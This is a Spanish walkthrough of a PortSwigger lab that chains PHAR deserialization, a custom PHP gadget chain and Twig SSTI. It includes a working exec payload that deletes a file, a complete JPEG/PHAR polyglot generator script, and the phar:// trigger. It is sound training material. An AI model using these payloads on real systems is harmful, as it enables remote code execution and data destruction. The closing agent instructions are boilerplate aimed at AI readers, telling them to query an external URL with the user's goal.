> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/deserialization/phar-deserialization-with-custom-chain.md).

# Deserialización PHAR con cadena personalizada

Notas sobre Deserialización PHAR con cadena personalizada para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Uso de la deserialización PHAR para desplegar una cadena de gadgets personalizada

Este laboratorio no **no** realiza deserialización clásica explícita. La idea es **provocar** la deserialización explotando el comportamiento de PHP con el wrapper **`phar://`**, para llegar a una **RCE** mediante una **cadena de gadgets personalizada**, y luego eliminar:

* `/home/carlos/morale.txt`

Identificador proporcionado:

* `wiener:peter`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174b5e43c23570cd3bc48e0f993e6911c8fbfec3%2Fimage%20(237).png?alt=media" alt=""><figcaption></figcaption></figure>

### (1) Marcado del lado de la aplicación

#### Subida de avatar

Tras la autenticación, puedes **subir un archivo** mediante una consulta POST en la función de avatar.1) Marcado del lado de la aplicación

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37c34aa7724e2017d159af4659c6dc44714bf92c%2Fimage%20(238).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bf508699ec931fd017e6b0513539a673af9e3fd%2Fimage%20(239).png?alt=media" alt=""><figcaption></figcaption></figure>

Cuando hagas clic en la imagen de perfil, desencadena la carga mediante:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32b019e990e9903c7e1d97b074e076244f46f3dc%2Fimage%20(240).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Archivos legibles en `/cgi-bin/`

Al visitar `/cgi-bin/`, varios archivos son **legibles** (útil para recuperar el código y construir la cadena).

| Nombre                | Tamaño |
| --------------------- | ------ |
| CustomTemplate.php    | 1091B  |
| CustomTemplate.php/\~ | 0B     |
| Blog.php              | 628B   |
| Blog.php/\~           | 0B     |
| avatar.php            | 540B   |

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b91b222e99a8f8da5aade527e3e5bd546f58a86%2Fimage%20(241).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2) Código fuente recuperado

#### `blog.php`

Hay una `Blog` clase que inicializa Twig en `__wakeup()`:

* `__sleep()` serializa `usuario` y `desc`
* `__wakeup()` construye un `Twig_Environment` con una plantilla basada en `desc`
* `__toString()` renderiza `index` e inyecta `usuario`

Punto importante: `desc` se convierte directamente en una **plantilla Twig**, por lo que puede usarse para apuntar a **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

El `CustomTemplate` la clase contiene:

* un `$template_file_path` campo privado
* un `__destruct()` destructor que hace:
* `@unlink($this->lockFilePath());`

`lockFilePath()` construye:

* `'templates/' . $this->template_file_path . '.lock'`

Así que si controlamos `template_file_path` con un objeto que se convierte en cadena, podemos influir en la ruta usada por `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("No se pudo escribir en " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("No se pudo escribir en " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos pensó que esto sería una buena idea
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Carga útil Twig (SSTI → Exec)

Carga útil Twig utilizada:

Objetivo: ejecutar `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Estrategia operativa: PHAR poliglota

El desafío: la subida espera un **image**. / Solución: Crear un **poliglota** archivo:

* Válido como **JPEG**
* pero que contiene un **PHAR** (formato tar/phar) con **metadatos** serializado

¿Por qué funciona?

* Cuando PHP abre un recurso mediante `phar://...`, puede desencadenar la lectura del manifiesto PHAR y **deserializar ciertos metadatos** (así que se ejecutan `__wakeup`, `__destruct`, etc. según la cadena).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // eliminar <?php no funciona con el prefijo
    $len = strlen($phar) + 2; // fijo
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calcular la suma de verificación tar
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // incrustar suma de verificación
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// clase de exploit pop
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// configuración para jpg
$tempname = 'temp.tar.phar'; // hacerlo tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// hacer jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// configuración para gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // encabezado gif, tamaño 300 x 300
$tempname = 'temp.phar'; // hacerlo phar
$outfile = 'out.gif';

// hacer gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Cadena de gadgets construida

Tú fabricas :

* un `Blog` objeto con:
* `user = "pwned"`
* `desc = <payload SSTI de Twig>`
* luego pones este objeto en `CustomTemplate->template_file_path`

Así, cuando `CustomTemplate` se destruye, `lockFilePath()` concatenará un valor de un objeto, lo que fuerza una conversión a cadena → llama a `Blog::__toString()` → desencadena `twig->render()` → interpreta `desc` → ejecuta el comando.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcbf355533c83e1bf4176125a7996684bfec5081%2Fimage%20(242).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:5:"pwned";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";}}"
```

{% endcode %}

* Sube `out.jpg` como el avatar

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f03158efa02cc52d5afbb52dbf55151c4f18bd5e%2Fimage%20(243).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56bcacfe6c49d1680f52e5a1edb7b6984180642f%2Fimage%20(244).png?alt=media" alt=""><figcaption></figcaption></figure>

Llamada a recurso mediante `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

En ese momento, la aplicación abre el recurso con el wrapper PHAR, los metadatos se deserializan, la cadena se activa y el archivo:

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
